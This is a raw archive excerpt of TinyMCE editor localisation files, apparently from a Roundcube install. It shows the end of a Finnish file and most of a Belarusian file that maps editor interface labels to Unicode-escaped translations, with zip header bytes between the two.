"Poster": "L\u00e4hett\u00e4j\u00e4",
"Media": "Media",
"Print": "Tulosta",
"Prev": "Edel.",
"Find and replace": "Etsi ja korvaa",
"Whole words": "Koko sanat",
"Spellcheck": "Oikolue",
"Caption": "Seloste",
"Insert template": "Lis\u00e4\u00e4 pohja"
});PK
h�\"�?��e�eprogram/js/tinymce/langs/be.jsnu�[���tinymce.addI18n('be',{
"Redo": "\u0410\u0434\u043c\u044f\u043d\u0456\u0446\u044c",
"Undo": "\u0412\u044f\u0440\u043d\u0443\u0446\u044c",
"Cut": "\u0412\u044b\u0440\u0430\u0437\u0430\u0446\u044c",
"Copy": "\u041a\u0430\u043f\u0456\u0440\u0430\u0432\u0430\u0446\u044c",
"Paste": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c",
"Select all": "\u0412\u044b\u043b\u0443\u0447\u044b\u0446\u044c \u0443\u0441\u0451",
"New document": "\u041d\u043e\u0432\u044b \u0434\u0430\u043a\u0443\u043c\u0435\u043d\u0442",
"Ok": "Ok",
"Cancel": "\u0410\u0434\u043c\u044f\u043d\u0456\u0446\u044c",
"Visual aids": "\u041f\u0430\u043a\u0430\u0437\u0432\u0430\u0446\u044c \u043a\u043e\u043d\u0442\u0443\u0440\u044b",
"Bold": "\u0422\u043b\u0443\u0441\u0442\u044b",
"Italic": "\u041a\u0443\u0440\u0441\u0456\u045e",
"Underline": "\u041f\u0430\u0434\u043a\u0440\u044d\u0441\u043b\u0435\u043d\u044b",
"Strikethrough": "\u0417\u0430\u043a\u0440\u044d\u0441\u043b\u0435\u043d\u044b",
"Superscript": "\u0412\u0435\u0440\u0445\u043d\u0456 \u0456\u043d\u0434\u044d\u043a\u0441",
"Subscript": "\u041d\u0456\u0436\u043d\u0456 \u0456\u043d\u0434\u044d\u043a\u0441",
"Clear formatting": "\u0410\u0447\u044b\u0441\u0446\u0456\u0446\u044c \u0444\u0430\u0440\u043c\u0430\u0442",
"Align left": "\u041f\u0430 \u043b\u0435\u0432\u044b\u043c \u043a\u0440\u0430\u0456",
"Align center": "\u041f\u0430 \u0446\u044d\u043d\u0442\u0440\u044b",
"Align right": "\u041f\u0430 \u043f\u0440\u0430\u0432\u044b\u043c \u043a\u0440\u0430\u0456",
"Justify": "\u041f\u0430 \u0448\u044b\u0440\u044b\u043d\u0456",
"Bullet list": "\u041c\u0430\u0440\u043a\u0456\u0440\u0430\u0432\u0430\u043d\u044b \u0441\u043f\u0456\u0441",
"Numbered list": "\u041d\u0443\u043c\u0430\u0440\u0430\u0432\u0430\u043d\u044b \u0441\u043f\u0456\u0441",
"Decrease indent": "\u041f\u0430\u043c\u0435\u043d\u0448\u044b\u0446\u044c \u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Increase indent": "\u041f\u0430\u0432\u044f\u043b\u0456\u0447\u044b\u0446\u044c \u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Close": "\u0417\u0430\u0447\u044b\u043d\u0456\u0446\u044c",
"Formats": "\u0424\u0430\u0440\u043c\u0430\u0442",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448 \u0431\u0440\u0430\u045e\u0437\u044d\u0440 \u043d\u0435 \u043f\u0430\u0434\u0442\u0440\u044b\u043c\u043b\u0456\u0432\u0430\u0435 \u043f\u0440\u0430\u043c\u044b \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u0430 \u0431\u0443\u0444\u0435\u0440\u0430 \u0430\u0431\u043c\u0435\u043d\u0443. \u041a\u0430\u043b\u0456 \u043b\u0430\u0441\u043a\u0430, \u0432\u044b\u043a\u0430\u0440\u044b\u0441\u0442\u043e\u045e\u0432\u0430\u0439\u0446\u0435 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u044b\u044f \u0441\u043f\u0430\u043b\u0443\u0447\u044d\u043d\u043d\u044f \u043a\u043b\u0430\u0432\u0456\u0448: Ctrl + X\/C\/V.",
"Headers": "\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043a\u0456",
"Header 1": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 1",
"Header 2": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 2",
"Header 3": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 3",
"Header 4": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 4",
"Header 5": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 5",
"Header 6": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 6",
"Headings": "\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043a\u0456",
"Heading 1": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 1",
"Heading 2": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 2",
"Heading 3": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 3",
"Heading 4": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 4",
"Heading 5": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 5",
"Heading 6": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 6",
"Preformatted": "\u0412\u044b\u0440\u0430\u045e\u043d\u0430\u0432\u0430\u043d\u044b",
"Div": "\u0411\u043b\u043e\u043a",
"Pre": "\u041f\u0440\u0430\u0434\u0444\u0430\u0440\u043c\u0430\u0442\u0430\u0432\u0430\u043d\u043d\u0435",
"Code": "\u041a\u043e\u0434",
"Paragraph": "\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Blockquote": "\u0426\u044b\u0442\u0430\u0442\u0430",
"Inline": "\u0420\u0430\u0434\u043a\u043e\u0432\u044b",
"Blocks": "\u0411\u043b\u043e\u043a\u0456",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0423\u0441\u0442\u0430\u045e\u043a\u0430 \u0437\u0434\u0437\u044f\u0439\u0441\u043d\u044f\u0435\u0446\u0446\u0430 \u045e \u0432\u044b\u0433\u043b\u044f\u0434\u0437\u0435 \u043f\u0440\u043e\u0441\u0442\u0430\u0433\u0430 \u0442\u044d\u043a\u0441\u0442\u0443, \u043f\u0430\u043a\u0443\u043b\u044c \u043d\u0435 \u0430\u0434\u043a\u043b\u044e\u0447\u044b\u0446\u044c \u0434\u0430\u0434\u0437\u0435\u043d\u0443\u044e \u043e\u043f\u0446\u044b\u044e.",
"Font Family": "\u0428\u0440\u044b\u0444\u0442",
"Font Sizes": "\u041f\u0430\u043c\u0435\u0440 \u0448\u0440\u044b\u0444\u0442\u0430",
"Class": "\u041a\u043b\u0430\u0441",
"Browse for an image": "\u041f\u043e\u0448\u0443\u043a \u0432\u044b\u044f\u0432\u044b",
"OR": "\u0410\u0411\u041e",
"Drop an image here": "\u0410\u0434\u043a\u0456\u043d\u044c\u0446\u0435 \u0432\u044b\u044f\u0432\u0443 \u0442\u0443\u0442",
"Upload": "\u0417\u0430\u043f\u0430\u043c\u043f\u0430\u0432\u0430\u0446\u044c",
"Block": "\u0417\u0430\u0431\u043b\u0430\u043a\u0430\u0432\u0430\u0446\u044c",
"Align": "\u0412\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"Default": "\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b",
"Circle": "\u0410\u043a\u0440\u0443\u0436\u043d\u0430\u0441\u0446\u0456",
"Disc": "\u041a\u0440\u0443\u0433\u0456",
"Square": "\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u044b",
"Lower Alpha": "\u041c\u0430\u043b\u044b\u044f \u043b\u0430\u0446\u0456\u043d\u0441\u043a\u0456\u044f \u043b\u0456\u0442\u0430\u0440\u044b",
"Lower Greek": "\u041c\u0430\u043b\u044b\u044f \u0433\u0440\u044d\u0447\u0430\u0441\u043a\u0456\u044f \u043b\u0456\u0442\u0430\u0440\u044b",
"Lower Roman": "\u041c\u0430\u043b\u044b\u044f \u0440\u044b\u043c\u0441\u043a\u0456\u044f \u043b\u0456\u0447\u0431\u044b",
"Upper Alpha": "\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043d\u044b\u044f \u043b\u0430\u0446\u0456\u043d\u0441\u043a\u0456\u044f \u043b\u0456\u0442\u0430\u0440\u044b",
"Upper Roman": "\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043d\u044b\u044f \u0440\u044b\u043c\u0441\u043a\u0456\u044f \u043b\u0456\u0447\u0431\u044b",
"Anchor": "\u042f\u043a\u0430\u0440",
"Name": "\u0406\u043c\u044f",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u043f\u0430\u0432\u0456\u043d\u0435\u043d \u043f\u0430\u0447\u044b\u043d\u0430\u0446\u0446\u0430 \u0437 \u043b\u0456\u0442\u0430\u0440\u044b, \u0430 \u043f\u043e\u0442\u044b\u043c \u0443\u0442\u0440\u044b\u043c\u043b\u0456\u0432\u0430\u0446\u044c \u0442\u043e\u043b\u044c\u043a\u0456 \u043b\u0456\u0442\u0430\u0440\u044b, \u043b\u0456\u0447\u0431\u044b, \u043f\u0440\u0430\u0446\u044f\u0436\u043d\u0456\u043a, \u043a\u0440\u043e\u043f\u043a\u0456, \u0434\u0432\u0443\u043a\u0440\u043e\u043f'\u044f \u0446\u0456 \u043f\u0430\u0434\u043a\u0440\u044d\u0441\u043b\u0456\u0432\u0430\u043d\u043d\u0456.",
"You have unsaved changes are you sure you want to navigate away?": "\u0423 \u0432\u0430\u0441 \u0451\u0441\u0446\u044c \u043d\u0435\u0437\u0430\u0445\u0430\u0432\u0430\u043d\u044b\u044f \u0437\u043c\u0435\u043d\u044b. \u0412\u044b \u045e\u043f\u044d\u045e\u043d\u0435\u043d\u044b\u044f, \u0448\u0442\u043e \u0445\u043e\u0447\u0430\u0446\u0435 \u0432\u044b\u0439\u0441\u0446\u0456?",
"Restore last draft": "\u0410\u0434\u043d\u0430\u045e\u043b\u0435\u043d\u043d\u0435 \u0430\u043f\u043e\u0448\u043d\u044f\u0433\u0430 \u043f\u0440\u0430\u0435\u043a\u0442\u0430",
"Special character": "\u0421\u043f\u0435\u0446\u044b\u044f\u043b\u044c\u043d\u044b\u044f \u0441\u0456\u043c\u0432\u0430\u043b\u044b",
"Source code": "\u0417\u044b\u0445\u043e\u0434\u043d\u044b \u043a\u043e\u0434",
"Insert\/Edit code sample": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c \u043a\u043e\u0434",
"Language": "\u041c\u043e\u0432\u0430",
"Code sample": "\u041f\u0440\u044b\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0430",
"Color": "\u041a\u043e\u043b\u0435\u0440",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0417\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u0430",
"Right to left": "\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u0430",
"Emoticons": "\u0414\u0430\u0434\u0430\u0446\u044c \u0441\u043c\u0430\u0439\u043b",
"Document properties": "\u0423\u043b\u0430\u0441\u0446\u0456\u0432\u0430\u0441\u0446\u0456 \u0434\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a",
"Keywords": "\u041a\u043b\u044e\u0447\u0430\u0432\u044b\u044f \u0441\u043b\u043e\u0432\u044b",
"Description": "\u0410\u043f\u0456\u0441\u0430\u043d\u043d\u0435",
"Robots": "\u0420\u043e\u0431\u0430\u0442\u044b",
"Author": "\u0410\u045e\u0442\u0430\u0440",
"Encoding": "\u041a\u0430\u0434\u044b\u0440\u043e\u045e\u043a\u0430",
"Fullscreen": "\u041f\u043e\u045e\u043d\u0430\u044d\u043a\u0440\u0430\u043d\u043d\u044b \u0440\u044d\u0436\u044b\u043c",
"Action": "\u0414\u0437\u0435\u044f\u043d\u043d\u0435",
"Shortcut": "\u0428\u043e\u0440\u0442\u043a\u0430\u0442",
"Help": "\u0414\u0430\u043f\u0430\u043c\u043e\u0433\u0430",
"Address": "\u0410\u0434\u0440\u0430\u0441",
"Focus to menubar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u0440\u0430\u0434\u043e\u043a \u043c\u0435\u043d\u044e",
"Focus to toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0430\u043d\u044d\u043b\u044c \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u045e",
"Focus to element path": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u0448\u043b\u044f\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430",
"Focus to contextual toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043a\u0430\u043d\u0442\u044d\u043a\u0441\u0442\u043d\u0443\u044e \u043f\u0430\u043d\u044d\u043b\u044c \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u045e",
"Insert link (if link plugin activated)": "\u040e\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443 (\u043a\u0430\u043b\u0456 \u043f\u043b\u0430\u0433\u0456\u043d \u0441\u043f\u0430\u0441\u044b\u043b\u0430\u043a \u0430\u043a\u0442\u044b\u0432\u0430\u0432\u0430\u043d\u044b)",
"Save (if save plugin activated)": "\u0417\u0430\u0445\u0430\u0432\u0430\u0446\u044c (\u043a\u0430\u043b\u0456 \u043f\u043b\u0430\u0433\u0456\u043d \u0437\u0430\u0445\u0430\u0432\u0430\u043d\u043d\u044f \u0430\u043a\u0442\u044b\u0432\u0430\u0432\u0430\u043d\u044b)",
"Find (if searchreplace plugin activated)": "\u0428\u0443\u043a\u0430\u0446\u044c (\u043a\u0430\u043b\u0456 \u043f\u043b\u0430\u0433\u0456\u043d \u043f\u043e\u0448\u0443\u043a\u0443 \u0430\u043a\u0442\u044b\u0432\u0430\u0432\u0430\u043d\u044b)",
"Plugins installed ({0}):": "\u0423\u0441\u0442\u0430\u043b\u044f\u0432\u0430\u043d\u0430 \u043f\u043b\u0430\u0433\u0456\u043d\u0430\u045e ({0}):",
"Premium plugins:": "\u041f\u0440\u044d\u043c\u0456\u044f\u043b\u044c\u043d\u044b\u044f \u043f\u043b\u0430\u0433\u0456\u043d\u044b:",
"Learn more...": "\u041f\u0430\u0434\u0440\u0430\u0431\u044f\u0437\u043d\u0435\u0439 ...",
"You are using {0}": "\u0412\u044b \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0435\u0446\u0435\u0441\u044f  {0}",
"Plugins": "\u041f\u043b\u0430\u0433\u0456\u043d\u044b",
"Handy Shortcuts": "\u0417\u0440\u0443\u0447\u043d\u044b\u044f \u0448\u043e\u0440\u0442\u043a\u0430\u0442\u044b",
"Horizontal line": "\u0413\u0430\u0440\u044b\u0437\u0430\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043b\u0456\u043d\u0456\u044f",
"Insert\/edit image": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c \u0432\u044b\u044f\u0432\u0443",
"Image description": "\u0410\u043f\u0456\u0441\u0430\u043d\u043d\u0435 \u0432\u044b\u044f\u0432\u044b",
"Source": "\u041a\u0440\u044b\u043d\u0456\u0446\u0430",
"Dimensions": "\u041f\u0430\u043c\u0435\u0440",
"Constrain proportions": "\u0417\u0430\u0445\u0430\u0432\u0430\u0446\u044c \u043f\u0440\u0430\u043f\u043e\u0440\u0446\u044b\u0456",
"General": "\u0410\u0433\u0443\u043b\u044c\u043d\u0430\u0435",
"Advanced": "\u041f\u0430\u0448\u044b\u0440\u0430\u043d\u0430\u0435",
"Style": "\u0421\u0442\u044b\u043b\u044c",
"Vertical space": "\u0412\u0435\u0440\u0442\u044b\u043a\u0430\u043b\u044c\u043d\u044b \u0456\u043d\u0442\u044d\u0440\u0432\u0430\u043b",
"Horizontal space": "\u0413\u0430\u0440\u044b\u0437\u0430\u043d\u0442\u0430\u043b\u044c\u043d\u044b \u0456\u043d\u0442\u044d\u0440\u0432\u0430\u043b",
"Border": "\u041c\u044f\u0436\u0430",
"Insert image": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0432\u044b\u044f\u0432\u0443",
"Image": "\u0412\u044b\u044f\u0432\u0430",
"Image list": "\u0421\u043f\u0456\u0441 \u0432\u044b\u044f\u045e",
"Rotate counterclockwise": "\u041f\u0430\u0432\u044f\u0440\u043d\u0443\u0446\u044c counterclockwise",
"Rotate clockwise": "\u041f\u0430\u0432\u044f\u0440\u043d\u0443\u0446\u044c clockwise",
"Flip vertically": "\u0410\u0434\u043b\u044e\u0441\u0442\u0440\u0430\u0432\u0430\u0446\u044c \u0432\u0435\u0440\u0442\u044b\u043a\u0430\u043b\u044c\u043d\u0430",
"Flip horizontally": "\u0410\u0434\u043b\u044e\u0441\u0442\u0440\u0430\u0432\u0430\u0446\u044c \u0433\u0430\u0440\u044b\u0437\u0430\u043d\u0442\u0430\u043b\u044c\u043d\u0430",
"Edit image": "\u0420\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c \u0432\u044b\u044f\u0432\u0443",
"Image options": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432\u044b\u044f\u0432\u044b",
"Zoom in": "\u041f\u0430\u0432\u044f\u043b\u0456\u0447\u044b\u0446\u044c",
"Zoom out": "\u041f\u0430\u043c\u0435\u043d\u0448\u044b\u0446\u044c",
"Crop": "\u0410\u0431\u0440\u044d\u0437\u0430\u0446\u044c",
"Resize": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c \u043f\u0430\u043c\u0435\u0440",
"Orientation": "\u0410\u0440\u044b\u0435\u043d\u0442\u0430\u0446\u044b\u044f",
"Brightness": "\u042f\u0440\u043a\u0430\u0441\u0446\u044c",
"Sharpen": "\u0412\u044b\u0440\u0430\u0437\u043d\u0430\u0441\u0446\u044c",
"Contrast": "\u041a\u0430\u043d\u0442\u0440\u0430\u0441\u0442",
"Color levels": "\u0423\u0437\u0440\u043e\u045e\u043d\u0456 \u043a\u043e\u043b\u0435\u0440\u0430\u045e",
"Gamma": "\u0413\u0430\u043c\u0430",
"Invert": "\u0406\u043d\u0432\u0435\u0440\u0442\u0430\u0432\u0430\u0446\u044c",
"Apply": "\u0423\u0436\u044b\u0446\u044c",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Insert date\/time": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0434\u0430\u0442\u0443\/\u0447\u0430\u0441",
"Date\/time": "\u0414\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Insert link": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"Insert\/edit link": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"Text to display": "\u0422\u044d\u043a\u0441\u0442 \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0456",
"Url": "\u0410\u0434\u0440\u0430\u0441 \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0456",
"Target": "\u0410\u0434\u043a\u0440\u044b\u0432\u0430\u0446\u044c \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"None": "\u041d\u044f\u043c\u0430",
"New window": "\u0423 \u043d\u043e\u0432\u044b\u043c \u0430\u043a\u043d\u0435",
"Remove link": "\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"Anchors": "\u042f\u043a\u0430\u0440\u044b",
"Link": "\u0421\u043f\u0430\u0441\u044b\u043b\u043a\u0430",
"Paste or type a link": "\u0423\u0441\u0442\u0430\u045e\u0446\u0435 \u0430\u0431\u043e \u045e\u0432\u044f\u0434\u0437\u0456\u0446\u0435 \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0423\u0432\u0435\u0434\u0437\u0435\u043d\u044b \u0430\u0434\u0440\u0430\u0441 \u043f\u0430\u0434\u043e\u0431\u043d\u044b \u043d\u0430 \u0430\u0434\u0440\u0430\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u0439 \u043f\u043e\u0448\u0442\u044b. \u0416\u0430\u0434\u0430\u0435\u0446\u0435 \u0434\u0430\u0434\u0430\u0446\u044c \u043d\u0435\u0430\u0431\u0445\u043e\u0434\u043d\u044b mailto: \u043f\u0440\u044d\u0444\u0456\u043a\u0441?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0423\u0432\u0435\u0434\u0437\u0435\u043d\u044b \u0430\u0434\u0440\u0430\u0441 \u043f\u0430\u0434\u043e\u0431\u043d\u044b \u043d\u0430 \u0437\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443. \u0416\u0430\u0434\u0430\u0435\u0446\u0435 \u0434\u0430\u0434\u0430\u0446\u044c \u043d\u0435\u0430\u0431\u0445\u043e\u0434\u043d\u044b http:\/\/ \u043f\u0440\u044d\u0444\u0456\u043a\u0441?",
"Link list": "\u0421\u043f\u0456\u0441 \u0441\u043f\u0430\u0441\u044b\u043b\u0430\u043a",
"Insert video": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0432\u0456\u0434\u044d\u0430",
"Insert\/edit video": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c \u0432\u0456\u0434\u044d\u0430",
"Insert\/edit media": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c \u043c\u0435\u0434\u044b\u044f",
"Alternative source": "\u0410\u043b\u044c\u0442\u044d\u0440\u043d\u0430\u0442\u044b\u045e\u043d\u0430\u044f \u043a\u0440\u044b\u043d\u0456\u0446\u0430",
"Poster": "\u0412\u044b\u044f\u0432\u0430",
"Paste your embed code below:": "\u0423\u0441\u0442\u0430\u045e\u0446\u0435 \u0432\u0430\u0448 \u043a\u043e\u0434 \u043d\u0456\u0436\u044d\u0439:",
"Embed": "\u041a\u043e\u0434 \u0434\u043b\u044f \u045e\u0441\u0442\u0430\u045e\u043a\u0456",
"Media": "\u041c\u0435\u0434\u044b\u044f",
"Nonbreaking space": "\u041d\u0435\u043f\u0430\u0440\u044b\u045e\u043d\u044b \u043f\u0440\u0430\u0431\u0435\u043b",
"Page break": "\u0420\u0430\u0437\u0440\u044b\u045e \u0441\u0442\u0430\u0440\u043e\u043d\u043a\u0456",
"Paste as text": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u044f\u043a \u0442\u044d\u043a\u0441\u0442",
"Preview": "\u041f\u0440\u0430\u0434\u043f\u0440\u0430\u0433\u043b\u044f\u0434",
"Print": "\u0414\u0440\u0443\u043a",
"Save": "\u0417\u0430\u0445\u0430\u0432\u0430\u0446\u044c",
"Find": "\u0417\u043d\u0430\u0439\u0441\u0446\u0456",
"Replace with": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c \u043d\u0430",
"Replace": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c",
"Replace all": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c \u0443\u0441\u0435",
"Prev": "\u0423\u0432\u0435\u0440\u0445",
"Next": "\u0423\u043d\u0456\u0437",
"Find and replace": "\u041f\u043e\u0448\u0443\u043a \u0456 \u0437\u0430\u043c\u0435\u043d\u0430",
"Could not find the specified string.": "\u0417\u0430\u0434\u0430\u0434\u0437\u0435\u043d\u044b \u0440\u0430\u0434\u043e\u043a \u043d\u0435 \u0437\u043d\u043e\u0439\u0434\u0437\u0435\u043d\u044b",
"Match case": "\u0423\u043b\u0456\u0447\u0432\u0430\u0446\u044c \u0440\u044d\u0433\u0456\u0441\u0442\u0440",
"Whole words": "\u0421\u043b\u043e\u0432\u044b \u0446\u0430\u043b\u043a\u0430\u043c",
"Spellcheck": "\u041f\u0440\u0430\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0430\u043f\u0456\u0441\u0443",
"Ignore": "\u0406\u0433\u043d\u0430\u0440\u0430\u0432\u0430\u0446\u044c",
"Ignore all": "\u0406\u0433\u043d\u0430\u0440\u0430\u0432\u0430\u0446\u044c \u0443\u0441\u0435",
"Finish": "\u0421\u043a\u043e\u043d\u0447\u044b\u0446\u044c",
"Add to Dictionary": "\u0414\u0430\u0434\u0430\u0446\u044c \u0443 \u0441\u043b\u043e\u045e\u043d\u0456\u043a",
"Insert table": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0442\u0430\u0431\u043b\u0456\u0446\u0443",
"Table properties": "\u0423\u043b\u0430\u0441\u0446\u0456\u0432\u0430\u0441\u0446\u0456 \u0442\u0430\u0431\u043b\u0456\u0446\u044b",
"Delete table": "\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c \u0442\u0430\u0431\u043b\u0456\u0446\u0443",
"Cell": "\u042f\u0447\u044d\u0439\u043a\u0430",
"Row": "\u0420\u0430\u0434\u043e\u043a",
"Column": "\u0421\u043b\u0443\u043f\u043e\u043a",
"Cell properties": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u0447\u044d\u0439\u043a\u0456",
"Merge cells": "\u0410\u0431'\u044f\u0434\u043d\u0430\u0446\u044c \u044f\u0447\u044d\u0439\u043a\u0456",
"Split cell": "\u0420\u0430\u0437\u0431\u0456\u0446\u044c \u044f\u0447\u044d\u0439\u043a\u0443",
"Insert row before": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0440\u0430\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Insert row after": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0440\u0430\u0434\u043e\u043a \u0437\u043d\u0456\u0437\u0443",
"Delete row": "\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c \u0440\u0430\u0434\u043e\u043a",
"Row properties": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0440\u0430\u0434\u043a\u0430",
"Cut row": "\u0412\u044b\u0440\u0430\u0437\u0430\u0446\u044c \u0440\u0430\u0434\u043e\u043a",
"Copy row": "\u041a\u0430\u043f\u0456\u044f\u0432\u0430\u0446\u044c \u0440\u0430\u0434\u043e\u043a",
"Paste row before": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0440\u0430\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Paste row after": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0440\u0430\u0434\u043e\u043a \u0437\u043d\u0456\u0437\u0443",
"Insert column before": "\u0414\u0430\u0434\u0430\u0446\u044c \u0441\u043b\u0443\u043f\u043e\u043a \u0437\u043b\u0435\u0432\u0430",
"Insert column after": "\u0414\u0430\u0434\u0430\u0446\u044c \u0441\u043b\u0443\u043f\u043e\u043a \u0441\u043f\u0440\u0430\u0432\u0430",
"Delete column": "\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c \u0441\u043b\u0443\u043f\u043e\u043a",
"Cols": "\u0421\u043b\u0443\u043f\u043a\u0456",
"Rows": "\u0420\u0430\u0434\u043a\u0456",
"Width": "\u0428\u044b\u0440\u044b\u043d\u044f",
"Height": "\u0412\u044b\u0448\u044b\u043d\u044f",
"Cell spacing": "\u0417\u043d\u0435\u0448\u043d\u0456 \u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Cell padding": "\u0423\u043d\u0443\u0442\u0440\u0430\u043d\u044b \u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Caption": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a",
"Left": "\u041f\u0430 \u043b\u0435\u0432\u044b\u043c \u043a\u0440\u0430\u0456",
"Center": "\u041f\u0430 \u0446\u044d\u043d\u0442\u0440\u044b",
"Right": "\u041f\u0430 \u043f\u0440\u0430\u0432\u044b\u043c \u043a\u0440\u0430\u0456",
"Cell type": "\u0422\u044b\u043f \u044f\u0447\u044d\u0439\u043a\u0456",
"Scope": "\u0421\u0444\u0435\u0440\u0430",
"Alignment": "\u0412\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"H Align": "\u0413\u0430\u0440. \u0432\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"V Align": "\u0412\u0435\u0440. \u0432\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"Top": "\u0412\u0435\u0440\u0445",
"Middle": "\u0421\u044f\u0440\u044d\u0434\u0437\u0456\u043d\u0430",
"Bottom": "\u041d\u0456\u0437",
"Header cell": "\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a",
"Row group": "\u0413\u0440\u0443\u043f\u0430 \u0440\u0430\u0434\u043a\u043e\u045e",
